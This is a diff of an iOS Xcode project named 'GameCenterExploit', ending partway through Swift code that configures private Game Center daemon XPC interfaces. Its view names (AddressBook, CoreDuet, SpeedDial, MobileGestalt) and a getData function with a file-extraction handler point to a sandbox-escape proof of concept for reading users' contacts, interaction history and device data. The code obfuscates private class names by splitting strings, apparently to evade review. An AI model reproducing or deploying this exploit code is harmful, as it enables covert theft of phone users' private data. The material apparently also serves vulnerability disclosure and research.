DF13AB1025F50BCF00A7A7B7 /* GKRecurrenceRule.h */, |
||||
DF13AB1325F50C1800A7A7B7 /* GKActivity.h */, |
||||
DF13AB1225F50C1800A7A7B7 /* GKThreadsafeDictionary.h */, |
||||
DF13AB1525F5113A00A7A7B7 /* GKFriendRequestInternal.h */, |
||||
DF13AB1625F5116100A7A7B7 /* GKFamiliarPlayerInternal.h */, |
||||
DF13AB1825F514DA00A7A7B7 /* GKDaemonInterface.h */, |
||||
DF13AB1925F514DA00A7A7B7 /* GKDaemonProxy.h */, |
||||
DF13AB1B25F514DA00A7A7B7 /* GKServiceInterface.h */, |
||||
DF13AB1A25F514DA00A7A7B7 /* GKServiceProxy.h */, |
||||
DF13AB1F25F5188500A7A7B7 /* GKDaemonProxyDataUpdateDelegate.h */, |
||||
DF13AB2025F5188500A7A7B7 /* GKDaemonProxyNetworkActivityIndicatorDelegate.h */, |
||||
DF13AB2425F53F9200A7A7B7 /* GKClientInterface.h */, |
||||
DF13AB2625F5436A00A7A7B7 /* GKLocalPlayerInternal.h */, |
||||
DF13AB2725F5438300A7A7B7 /* GKFriendPlayerInternal.h */, |
||||
); |
||||
path = Headers; |
||||
sourceTree = "<group>"; |
||||
}; |
||||
DF13ABDC25F8229800A7A7B7 /* Views */ = { |
||||
isa = PBXGroup; |
||||
children = ( |
||||
DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */, |
||||
DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */, |
||||
DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */, |
||||
DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */, |
||||
DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */, |
||||
DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */, |
||||
DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */, |
||||
DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */, |
||||
DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */, |
||||
DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */, |
||||
DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */, |
||||
DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */, |
||||
); |
||||
path = Views; |
||||
sourceTree = "<group>"; |
||||
}; |
||||
/* End PBXGroup section */ |
||||
|
||||
/* Begin PBXNativeTarget section */ |
||||
DF13AA7025F19E0100A7A7B7 /* GameCenterExploit */ = { |
||||
isa = PBXNativeTarget; |
||||
buildConfigurationList = DF13AA8525F19E0300A7A7B7 /* Build configuration list for PBXNativeTarget "GameCenterExploit" */; |
||||
buildPhases = ( |
||||
DF13AA6D25F19E0100A7A7B7 /* Sources */, |
||||
DF13AA6E25F19E0100A7A7B7 /* Frameworks */, |
||||
DF13AA6F25F19E0100A7A7B7 /* Resources */, |
||||
); |
||||
buildRules = ( |
||||
); |
||||
dependencies = ( |
||||
); |
||||
name = GameCenterExploit; |
||||
packageProductDependencies = ( |
||||
DFCDD4E625F83768002ED9C2 /* GRDB */, |
||||
DFCDD4EA25F83789002ED9C2 /* Dynamic */, |
||||
); |
||||
productName = hxx; |
||||
productReference = DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */; |
||||
productType = "com.apple.product-type.application"; |
||||
}; |
||||
/* End PBXNativeTarget section */ |
||||
|
||||
/* Begin PBXProject section */ |
||||
DF13AA6925F19E0000A7A7B7 /* Project object */ = { |
||||
isa = PBXProject; |
||||
attributes = { |
||||
LastSwiftUpdateCheck = 1240; |
||||
LastUpgradeCheck = 1240; |
||||
TargetAttributes = { |
||||
DF13AA7025F19E0100A7A7B7 = { |
||||
CreatedOnToolsVersion = 12.4; |
||||
LastSwiftMigration = 1240; |
||||
}; |
||||
}; |
||||
}; |
||||
buildConfigurationList = DF13AA6C25F19E0000A7A7B7 /* Build configuration list for PBXProject "GameCenterExploit" */; |
||||
compatibilityVersion = "Xcode 9.3"; |
||||
developmentRegion = en; |
||||
hasScannedForEncodings = 0; |
||||
knownRegions = ( |
||||
en, |
||||
Base, |
||||
); |
||||
mainGroup = DF13AA6825F19E0000A7A7B7; |
||||
packageReferences = ( |
||||
DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */, |
||||
DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */, |
||||
); |
||||
productRefGroup = DF13AA7225F19E0100A7A7B7 /* Products */; |
||||
projectDirPath = ""; |
||||
projectRoot = ""; |
||||
targets = ( |
||||
DF13AA7025F19E0100A7A7B7 /* GameCenterExploit */, |
||||
); |
||||
}; |
||||
/* End PBXProject section */ |
||||
|
||||
/* Begin PBXResourcesBuildPhase section */ |
||||
DF13AA6F25F19E0100A7A7B7 /* Resources */ = { |
||||
isa = PBXResourcesBuildPhase; |
||||
buildActionMask = 2147483647; |
||||
files = ( |
||||
DF13AA8125F19E0300A7A7B7 /* LaunchScreen.storyboard in Resources */, |
||||
DF13AA7E25F19E0300A7A7B7 /* Assets.xcassets in Resources */, |
||||
); |
||||
runOnlyForDeploymentPostprocessing = 0; |
||||
}; |
||||
/* End PBXResourcesBuildPhase section */ |
||||
|
||||
/* Begin PBXSourcesBuildPhase section */ |
||||
DF13AA6D25F19E0100A7A7B7 /* Sources */ = { |
||||
isa = PBXSourcesBuildPhase; |
||||
buildActionMask = 2147483647; |
||||
files = ( |
||||
DF13ABB925F7ACDF00A7A7B7 /* CoreDuetView.swift in Sources */, |
||||
DF13ABD425F8068700A7A7B7 /* AddressBookContactView.swift in Sources */, |
||||
DF13ABCE25F7C72400A7A7B7 /* DuetContactView.swift in Sources */, |
||||
DF13AA7525F19E0100A7A7B7 /* AppDelegate.swift in Sources */, |
||||
DF13ABC225F7AD0200A7A7B7 /* AddressBookImagesView.swift in Sources */, |
||||
DF13ABC825F7C59400A7A7B7 /* DuetInteractionsView.swift in Sources */, |
||||
DF13AB2B25F5456700A7A7B7 /* GKClientProtocolInterface.m in Sources */, |
||||
DF13ABB225F7A5B500A7A7B7 /* ContentView.swift in Sources */, |
||||
DF13ABBF25F7ACF200A7A7B7 /* AddressBookView.swift in Sources */, |
||||
DF13ABC525F7C57100A7A7B7 /* DuetContactsView.swift in Sources */, |
||||
DF13AB2F25F5696F00A7A7B7 /* GameCenter.swift in Sources */, |
||||
DF13ABBC25F7ACE900A7A7B7 /* SpeedDialView.swift in Sources */, |
||||
DF13AA7725F19E0100A7A7B7 /* SceneDelegate.swift in Sources */, |
||||
DF13ABCB25F7C59E00A7A7B7 /* DuetAttachmentsView.swift in Sources */, |
||||
DF13ABB625F7AC9600A7A7B7 /* MobileGestaltView.swift in Sources */, |
||||
DF13ABD125F7E09800A7A7B7 /* DuetInteractionView.swift in Sources */, |
||||
); |
||||
runOnlyForDeploymentPostprocessing = 0; |
||||
}; |
||||
/* End PBXSourcesBuildPhase section */ |
||||
|
||||
/* Begin PBXVariantGroup section */ |
||||
DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */ = { |
||||
isa = PBXVariantGroup; |
||||
children = ( |
||||
DF13AA8025F19E0300A7A7B7 /* Base */, |
||||
); |
||||
name = LaunchScreen.storyboard; |
||||
sourceTree = "<group>"; |
||||
}; |
||||
/* End PBXVariantGroup section */ |
||||
|
||||
/* Begin XCBuildConfiguration section */ |
||||
DF13AA8325F19E0300A7A7B7 /* Debug */ = { |
||||
isa = XCBuildConfiguration; |
||||
buildSettings = { |
||||
ALWAYS_SEARCH_USER_PATHS = NO; |
||||
CLANG_ANALYZER_NONNULL = YES; |
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; |
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; |
||||
CLANG_CXX_LIBRARY = "libc++"; |
||||
CLANG_ENABLE_MODULES = YES; |
||||
CLANG_ENABLE_OBJC_ARC = YES; |
||||
CLANG_ENABLE_OBJC_WEAK = YES; |
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; |
||||
CLANG_WARN_BOOL_CONVERSION = YES; |
||||
CLANG_WARN_COMMA = YES; |
||||
CLANG_WARN_CONSTANT_CONVERSION = YES; |
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; |
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; |
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES; |
||||
CLANG_WARN_EMPTY_BODY = YES; |
||||
CLANG_WARN_ENUM_CONVERSION = YES; |
||||
CLANG_WARN_INFINITE_RECURSION = YES; |
||||
CLANG_WARN_INT_CONVERSION = YES; |
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; |
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; |
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; |
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; |
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; |
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; |
||||
CLANG_WARN_STRICT_PROTOTYPES = YES; |
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES; |
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; |
||||
CLANG_WARN_UNREACHABLE_CODE = YES; |
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; |
||||
COPY_PHASE_STRIP = NO; |
||||
DEBUG_INFORMATION_FORMAT = dwarf; |
||||
ENABLE_STRICT_OBJC_MSGSEND = YES; |
||||
ENABLE_TESTABILITY = YES; |
||||
GCC_C_LANGUAGE_STANDARD = gnu11; |
||||
GCC_DYNAMIC_NO_PIC = NO; |
||||
GCC_NO_COMMON_BLOCKS = YES; |
||||
GCC_OPTIMIZATION_LEVEL = 0; |
||||
GCC_PREPROCESSOR_DEFINITIONS = ( |
||||
"DEBUG=1", |
||||
"$(inherited)", |
||||
); |
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES; |
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; |
||||
GCC_WARN_UNDECLARED_SELECTOR = YES; |
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; |
||||
GCC_WARN_UNUSED_FUNCTION = YES; |
||||
GCC_WARN_UNUSED_VARIABLE = YES; |
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.4; |
||||
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; |
||||
MTL_FAST_MATH = YES; |
||||
ONLY_ACTIVE_ARCH = YES; |
||||
SDKROOT = iphoneos; |
||||
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; |
||||
SWIFT_OPTIMIZATION_LEVEL = "-Onone"; |
||||
}; |
||||
name = Debug; |
||||
}; |
||||
DF13AA8425F19E0300A7A7B7 /* Release */ = { |
||||
isa = XCBuildConfiguration; |
||||
buildSettings = { |
||||
ALWAYS_SEARCH_USER_PATHS = NO; |
||||
CLANG_ANALYZER_NONNULL = YES; |
||||
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; |
||||
CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; |
||||
CLANG_CXX_LIBRARY = "libc++"; |
||||
CLANG_ENABLE_MODULES = YES; |
||||
CLANG_ENABLE_OBJC_ARC = YES; |
||||
CLANG_ENABLE_OBJC_WEAK = YES; |
||||
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; |
||||
CLANG_WARN_BOOL_CONVERSION = YES; |
||||
CLANG_WARN_COMMA = YES; |
||||
CLANG_WARN_CONSTANT_CONVERSION = YES; |
||||
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; |
||||
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; |
||||
CLANG_WARN_DOCUMENTATION_COMMENTS = YES; |
||||
CLANG_WARN_EMPTY_BODY = YES; |
||||
CLANG_WARN_ENUM_CONVERSION = YES; |
||||
CLANG_WARN_INFINITE_RECURSION = YES; |
||||
CLANG_WARN_INT_CONVERSION = YES; |
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; |
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; |
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; |
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; |
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; |
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; |
||||
CLANG_WARN_STRICT_PROTOTYPES = YES; |
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES; |
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; |
||||
CLANG_WARN_UNREACHABLE_CODE = YES; |
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; |
||||
COPY_PHASE_STRIP = NO; |
||||
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; |
||||
ENABLE_NS_ASSERTIONS = NO; |
||||
ENABLE_STRICT_OBJC_MSGSEND = YES; |
||||
GCC_C_LANGUAGE_STANDARD = gnu11; |
||||
GCC_NO_COMMON_BLOCKS = YES; |
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES; |
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; |
||||
GCC_WARN_UNDECLARED_SELECTOR = YES; |
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; |
||||
GCC_WARN_UNUSED_FUNCTION = YES; |
||||
GCC_WARN_UNUSED_VARIABLE = YES; |
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.4; |
||||
MTL_ENABLE_DEBUG_INFO = NO; |
||||
MTL_FAST_MATH = YES; |
||||
SDKROOT = iphoneos; |
||||
SWIFT_COMPILATION_MODE = wholemodule; |
||||
SWIFT_OPTIMIZATION_LEVEL = "-O"; |
||||
VALIDATE_PRODUCT = YES; |
||||
}; |
||||
name = Release; |
||||
}; |
||||
DF13AA8625F19E0300A7A7B7 /* Debug */ = { |
||||
isa = XCBuildConfiguration; |
||||
buildSettings = { |
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; |
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; |
||||
CLANG_ENABLE_MODULES = YES; |
||||
CODE_SIGN_STYLE = Automatic; |
||||
CURRENT_PROJECT_VERSION = 4; |
||||
DEVELOPMENT_TEAM = ZGR22SPY5B; |
||||
INFOPLIST_FILE = GameCenterExploit/Info.plist; |
||||
LD_RUNPATH_SEARCH_PATHS = ( |
||||
"$(inherited)", |
||||
"@executable_path/Frameworks", |
||||
); |
||||
PRODUCT_BUNDLE_IDENTIFIER = dt.hxx; |
||||
PRODUCT_NAME = "$(TARGET_NAME)"; |
||||
SWIFT_OBJC_BRIDGING_HEADER = "GameCenterExploit/GameCenterExploit-Bridging-Header.h"; |
||||
SWIFT_OPTIMIZATION_LEVEL = "-Onone"; |
||||
SWIFT_VERSION = 5.0; |
||||
TARGETED_DEVICE_FAMILY = "1,2"; |
||||
}; |
||||
name = Debug; |
||||
}; |
||||
DF13AA8725F19E0300A7A7B7 /* Release */ = { |
||||
isa = XCBuildConfiguration; |
||||
buildSettings = { |
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; |
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; |
||||
CLANG_ENABLE_MODULES = YES; |
||||
CODE_SIGN_STYLE = Automatic; |
||||
CURRENT_PROJECT_VERSION = 4; |
||||
DEVELOPMENT_TEAM = ZGR22SPY5B; |
||||
INFOPLIST_FILE = GameCenterExploit/Info.plist; |
||||
LD_RUNPATH_SEARCH_PATHS = ( |
||||
"$(inherited)", |
||||
"@executable_path/Frameworks", |
||||
); |
||||
PRODUCT_BUNDLE_IDENTIFIER = dt.hxx; |
||||
PRODUCT_NAME = "$(TARGET_NAME)"; |
||||
SWIFT_OBJC_BRIDGING_HEADER = "GameCenterExploit/GameCenterExploit-Bridging-Header.h"; |
||||
SWIFT_VERSION = 5.0; |
||||
TARGETED_DEVICE_FAMILY = "1,2"; |
||||
}; |
||||
name = Release; |
||||
}; |
||||
/* End XCBuildConfiguration section */ |
||||
|
||||
/* Begin XCConfigurationList section */ |
||||
DF13AA6C25F19E0000A7A7B7 /* Build configuration list for PBXProject "GameCenterExploit" */ = { |
||||
isa = XCConfigurationList; |
||||
buildConfigurations = ( |
||||
DF13AA8325F19E0300A7A7B7 /* Debug */, |
||||
DF13AA8425F19E0300A7A7B7 /* Release */, |
||||
); |
||||
defaultConfigurationIsVisible = 0; |
||||
defaultConfigurationName = Release; |
||||
}; |
||||
DF13AA8525F19E0300A7A7B7 /* Build configuration list for PBXNativeTarget "GameCenterExploit" */ = { |
||||
isa = XCConfigurationList; |
||||
buildConfigurations = ( |
||||
DF13AA8625F19E0300A7A7B7 /* Debug */, |
||||
DF13AA8725F19E0300A7A7B7 /* Release */, |
||||
); |
||||
defaultConfigurationIsVisible = 0; |
||||
defaultConfigurationName = Release; |
||||
}; |
||||
/* End XCConfigurationList section */ |
||||
|
||||
/* Begin XCRemoteSwiftPackageReference section */ |
||||
DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */ = { |
||||
isa = XCRemoteSwiftPackageReference; |
||||
repositoryURL = "https://github.com/groue/GRDB.swift.git"; |
||||
requirement = { |
||||
kind = upToNextMajorVersion; |
||||
minimumVersion = 5.5.0; |
||||
}; |
||||
}; |
||||
DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */ = { |
||||
isa = XCRemoteSwiftPackageReference; |
||||
repositoryURL = "https://github.com/mhdhejazi/Dynamic.git"; |
||||
requirement = { |
||||
kind = upToNextMajorVersion; |
||||
minimumVersion = 1.2.0; |
||||
}; |
||||
}; |
||||
/* End XCRemoteSwiftPackageReference section */ |
||||
|
||||
/* Begin XCSwiftPackageProductDependency section */ |
||||
DFCDD4E625F83768002ED9C2 /* GRDB */ = { |
||||
isa = XCSwiftPackageProductDependency; |
||||
package = DFCDD4E525F83768002ED9C2 /* XCRemoteSwiftPackageReference "GRDB.swift" */; |
||||
productName = GRDB; |
||||
}; |
||||
DFCDD4EA25F83789002ED9C2 /* Dynamic */ = { |
||||
isa = XCSwiftPackageProductDependency; |
||||
package = DFCDD4E925F83789002ED9C2 /* XCRemoteSwiftPackageReference "Dynamic" */; |
||||
productName = Dynamic; |
||||
}; |
||||
/* End XCSwiftPackageProductDependency section */ |
||||
}; |
||||
rootObject = DF13AA6925F19E0000A7A7B7 /* Project object */; |
||||
} |
@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?> |
||||
<Workspace |
||||
version = "1.0"> |
||||
<FileRef |
||||
location = "self:"> |
||||
</FileRef> |
||||
</Workspace> |
@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?> |
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> |
||||
<plist version="1.0"> |
||||
<dict> |
||||
<key>IDEDidComputeMac32BitWarning</key> |
||||
<true/> |
||||
</dict> |
||||
</plist> |
@ -0,0 +1,25 @@
|
||||
{ |
||||
"object": { |
||||
"pins": [ |
||||
{ |
||||
"package": "Dynamic", |
||||
"repositoryURL": "https://github.com/mhdhejazi/Dynamic.git", |
||||
"state": { |
||||
"branch": null, |
||||
"revision": "ab9a2570862d54aed2663691bb767f881226a12f", |
||||
"version": "1.2.0" |
||||
} |
||||
}, |
||||
{ |
||||
"package": "GRDB", |
||||
"repositoryURL": "https://github.com/groue/GRDB.swift.git", |
||||
"state": { |
||||
"branch": null, |
||||
"revision": "3b6cf4c12b91fd0827419ac4307069efbf7cb65e", |
||||
"version": "5.5.0" |
||||
} |
||||
} |
||||
] |
||||
}, |
||||
"version": 1 |
||||
} |
@ -0,0 +1,17 @@
|
||||
|
||||
import UIKit |
||||
|
||||
@main |
||||
class AppDelegate: UIResponder, UIApplicationDelegate { |
||||
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { |
||||
return true |
||||
} |
||||
|
||||
func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration { |
||||
return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role) |
||||
} |
||||
|
||||
func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) { |
||||
} |
||||
} |
||||
|
@ -0,0 +1,11 @@
|
||||
{ |
||||
"colors" : [ |
||||
{ |
||||
"idiom" : "universal" |
||||
} |
||||
], |
||||
"info" : { |
||||
"author" : "xcode", |
||||
"version" : 1 |
||||
} |
||||
} |
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 6.1 KiB |
After Width: | Height: | Size: 6.1 KiB |
After Width: | Height: | Size: 8.1 KiB |
After Width: | Height: | Size: 9.5 KiB |
After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 825 B |
After Width: | Height: | Size: 1.1 KiB |
After Width: | Height: | Size: 1.6 KiB |
After Width: | Height: | Size: 1.6 KiB |
After Width: | Height: | Size: 1.6 KiB |
After Width: | Height: | Size: 2.4 KiB |
After Width: | Height: | Size: 2.4 KiB |
After Width: | Height: | Size: 2.6 KiB |
After Width: | Height: | Size: 3.3 KiB |
After Width: | Height: | Size: 3.6 KiB |
After Width: | Height: | Size: 3.6 KiB |
After Width: | Height: | Size: 4.0 KiB |
@ -0,0 +1,116 @@
|
||||
{ |
||||
"images" : [ |
||||
{ |
||||
"filename" : "40-2.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "2x", |
||||
"size" : "20x20" |
||||
}, |
||||
{ |
||||
"filename" : "60.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "3x", |
||||
"size" : "20x20" |
||||
}, |
||||
{ |
||||
"filename" : "58.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "2x", |
||||
"size" : "29x29" |
||||
}, |
||||
{ |
||||
"filename" : "87.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "3x", |
||||
"size" : "29x29" |
||||
}, |
||||
{ |
||||
"filename" : "80.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "2x", |
||||
"size" : "40x40" |
||||
}, |
||||
{ |
||||
"filename" : "120.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "3x", |
||||
"size" : "40x40" |
||||
}, |
||||
{ |
||||
"filename" : "120-1.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "2x", |
||||
"size" : "60x60" |
||||
}, |
||||
{ |
||||
"filename" : "180.png", |
||||
"idiom" : "iphone", |
||||
"scale" : "3x", |
||||
"size" : "60x60" |
||||
}, |
||||
{ |
||||
"filename" : "20.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "1x", |
||||
"size" : "20x20" |
||||
}, |
||||
{ |
||||
"filename" : "40.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "2x", |
||||
"size" : "20x20" |
||||
}, |
||||
{ |
||||
"filename" : "29.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "1x", |
||||
"size" : "29x29" |
||||
}, |
||||
{ |
||||
"filename" : "58-1.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "2x", |
||||
"size" : "29x29" |
||||
}, |
||||
{ |
||||
"filename" : "40-1.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "1x", |
||||
"size" : "40x40" |
||||
}, |
||||
{ |
||||
"filename" : "80-1.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "2x", |
||||
"size" : "40x40" |
||||
}, |
||||
{ |
||||
"filename" : "76.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "1x", |
||||
"size" : "76x76" |
||||
}, |
||||
{ |
||||
"filename" : "152.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "2x", |
||||
"size" : "76x76" |
||||
}, |
||||
{ |
||||
"filename" : "167.png", |
||||
"idiom" : "ipad", |
||||
"scale" : "2x", |
||||
"size" : "83.5x83.5" |
||||
}, |
||||
{ |
||||
"filename" : "1024.png", |
||||
"idiom" : "ios-marketing", |
||||
"scale" : "1x", |
||||
"size" : "1024x1024" |
||||
} |
||||
], |
||||
"info" : { |
||||
"author" : "xcode", |
||||
"version" : 1 |
||||
} |
||||
} |
@ -0,0 +1,6 @@
|
||||
{ |
||||
"info" : { |
||||
"author" : "xcode", |
||||
"version" : 1 |
||||
} |
||||
} |
@ -0,0 +1,25 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?> |
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM"> |
||||
<dependencies> |
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/> |
||||
<capability name="Safe area layout guides" minToolsVersion="9.0"/> |
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> |
||||
</dependencies> |
||||
<scenes> |
||||
<!--View Controller--> |
||||
<scene sceneID="EHf-IW-A2E"> |
||||
<objects> |
||||
<viewController id="01J-lp-oVM" sceneMemberID="viewController"> |
||||
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3"> |
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/> |
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> |
||||
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/> |
||||
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/> |
||||
</view> |
||||
</viewController> |
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/> |
||||
</objects> |
||||
<point key="canvasLocation" x="53" y="375"/> |
||||
</scene> |
||||
</scenes> |
||||
</document> |
@ -0,0 +1,288 @@
|
||||
|
||||
import Foundation |
||||
import GameKit |
||||
import Dynamic |
||||
|
||||
var client: GamedClient! |
||||
var connection: NSXPCConnection! |
||||
|
||||
func getData(files: [String], handler: @escaping (String, String) -> Void, fileExtractionCompletion: @escaping () -> Void) { |
||||
|
||||
let profileServiceInterface = NSXPCInterface(with: GKProfileService.self) |
||||
profileServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getProfilesForPlayerIDs:handler:"), argumentIndex: 0, ofReply: true) |
||||
|
||||
let friendServiceInterface = NSXPCInterface(with: GKFriendService.self) |
||||
friendServiceInterface.setClasses(NSSet(array: [NSClassFromString(["GKLoc","lPlayerInternal"].joined(separator: "a")), NSClassFromString(["GKFri", "ndPlayerInternal"].joined(separator: "e")), NSClassFromString(["GKFami", "iarPlayerInternal"].joined(separator: "l")), NSMutableArray.self, NSArray.self ]) as! Set<AnyHashable>, for: NSSelectorFromString("getFriendsForPlayer:handler:"), argumentIndex: 0, ofReply: true) |
||||
|
||||
let interface = NSXPCInterface(with: GKDaemonProtocol.self) |
||||
let servicesSelector = NSSelectorFromString("getServicesForPID:localPlayer:reply:") |
||||
interface.setInterface(.init(with: GKAccountService.self), for: servicesSelector, argumentIndex: 0, ofReply: true) |
||||
interface.setInterface(profileServiceInterface, for: servicesSelector, argumentIndex: 1, ofReply: true) |
||||
interface.setInterface(friendServiceInterface, for: servicesSelector, argumentIndex: 2, ofReply: true) |
||||
interface.setInterface(.init(with: GKGameService.self), for: servicesSelector, argumentIndex: 3, ofReply: true) |
||||
interface.setInterface(.init(with: GKGameStatService.self), for: servicesSelector, argumentIndex: 4, ofReply: true) |
||||
interface.setInterface(.init(with: GKChallengeService.self), for: servicesSelector, argumentIndex: 5, ofReply: true) |
||||
interface.setInterface(.init(with: GKMultiplayerService.self), for: servicesSelector, argumentIndex: 6, ofReply: true) |
||||
interface.setInterface(.init(with: GKTurnBasedService.self), for: servicesSelector, argumentIndex: 7, ofReply: true) |
||||
interface.setInterface(.init(with: GKUtilityService.self), for: servicesSelector, argumentIndex: 8, ofReply: true) |
||||
interface.setInterface(.init(with: GKBulletinService.self), for: servicesSelector, argumentIndex: 9, ofReply: true) |
||||
interface.setInterface(.init(with: GKAnalyticsService.self), for: servicesSelector, argumentIndex: 10, ofReply: true) |
||||
interface.setInterface(.init(with: GKGameSessionService.self), for: servicesSelector, argumentIndex: 11, ofReply: true) |
||||
interface.setInterface(.init(with: GKTournamentService.self), for: servicesSelector, argumentIndex: 12, ofReply: true) |
||||
let privateServicesSelector = NSSelectorFromString("getPrivateServicesForPID:localPlayer:reply:") |
||||
interface.setInterface(.init(with: GKAccountServicePrivate.self), for: privateServicesSelector, argumentIndex: 0, ofReply: true) |
||||
interface.setInterface(.init(with: GKProfileServicePrivate.self), for: privateServicesSelector, argumentIndex: 1, ofReply: true) |
||||
interface.setInterface(.init(with: GKFriendServicePrivate.self), for: privateServicesSelector, argumentIndex: 2, ofReply: true) |
||||
